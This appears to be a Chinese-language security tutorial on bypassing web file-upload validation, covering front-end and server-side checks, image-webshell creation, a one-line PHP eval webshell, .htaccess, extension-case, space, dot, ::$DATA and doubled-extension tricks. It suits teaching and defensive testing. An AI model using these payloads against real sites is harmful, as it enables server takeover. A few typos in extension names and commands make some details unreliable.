本文内容:
- 客户端检测
- 服务器端检测
- 文件上传绕过类型
1,客户端检测:
客户端检测:一般是在网页上写一段JS脚本,用JS去检测,校验上传文件的后缀名,有白名单,也有黑名单。
判断方式:
在浏览器加载文件,但还未点击上传按钮时要弹出对话框,内容如:
只允许上传jpg/peg后缀名的文件,此时并没有发送数据包,所以可以通过抓包来判断,如果弹出不准上传,但是没有抓到数据包,那么就是前段验证。
前端验证非常不可靠,传正常文件改数据包就可以绕过,甚至关闭JS都可以尝试绕过。
黑白名单机制:
黑名单:不允许上传什么。
白名单:允许上传什么。
白名单比黑名单更安全。
使用Burpsuite抓包,上传一个非法文件,如果抓到数据包,说明是后端校验,如果没抓到数据包,说明是前端校验。
2,服务器端检测:
服务器端检测几个常见的手段:
检查Content-Type[内容类型]
检查后缀[检查后缀是主流]
检查文件头
如果绕过Content-Type[内容类型]和文件头检测,这个时候我们就需要制作一个图片马了。
注意:图片越小越好。
图片马制作:
在一个txt文件写入一句话木马,然后在找一张喜欢的图片。
然后打开CMD输入copy1.png/b + 1.txt 123.png
解释:将1.png和1.txt合并为123.png /b的意思就是把它当做二进制去拷贝。
注意:
图片马经过二次压缩就失效了
图片马可以很好的绕过内容类型和文件头。
一句话木马:<?php @eval($_REQUEST['a']);?>
解析文件扩展名:
php:php、phtml、php3、php4等。
jsp:jap、jspx、jspf等。
asp:asa、cer、aspx等。
ext:exee等。
先判断是否前端检测,然后在检测是不是后缀检测,再看是不是黑名单。
3,文件上传绕过类型:
1.前端检测:
使用Burp抓包,上传一个非法文件,如果抓到数据,说明是后端校验,如果没抓到数据包,说明是前端校验。
2.Content-Type方式绕过:
使用Burp,上传图片马,直接更改类型php。
3.黑名单绕过:
使用BURP,上传图片马,直接更改类型php,如上传不成功,可以更改phptml。
4. .htaccess文件绕过:
这个文件是中间件看的。
.thaccess是什么?
.htaccess文件也称为分布式配置文件,提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或多个指令到的文件,以作用于次目录及其所有子目录。
2.htaccess功能:
文件夹密码保护、用户自定义冲顶下行、自定义404页面,扩展伪静态话、禁止特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,很可惜,这个功能默认是不开启的。
例如:AddType application/x-httpd-php .jpg 这个指令代表有.jpg文件会当做php解析
将这句代码放进txt文件,将文件名修改成功.htaccess,然后上传它就可以了。
注意:
win10已支持文件命名为这种类型。
win7需要使用cmd ren 1.txt .htaccess。
5.后缀大小写绕过:
Windows后缀是不区分大小写的。
解析时一般也不区分大小写。
Web容器除非非常老,不然都不区分大小写。
6.文件后缀[空/空格]绕过:
在文件名后留一个空格,然后上传上去空格会自动省略。
在系统操作中,php空格=php
但是在字符串匹配的时候:php空格!=php。
7.文件后缀[点]绕过:
Windows有一个特性,会自动去掉后缀名留最后的。
8.::DATA[Windows文件流绕过]:
这里利用到了NTFS交换数据流[ADS],ADS是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个每个文件都可以存在多个数据流。通俗的理解,就是其他文件可以“寄宿”在某个文件身上,而在资源管理器中却只能看到宿主文件,找不到寄宿文件。
在cmd输入:
echo abcd>>a.txt:b.txt 将abcd写入a.txt:b.txt,很明显生成一个a.txt,将b.txt寄宿到a.txt文件上。
使用notepad 1.txt:b.txt,将寄宿文件揪出来
然后在试试a.txt::$DATA
::$DATA就是默认不修改文件流的情况,所以生成一个正常的a.txt。
利用windows特性,可在后缀名中加::$DATA 绕过。
9.构造文件后缀绕过:
如:php..
10双写文件后缀绕过:
如:pphphp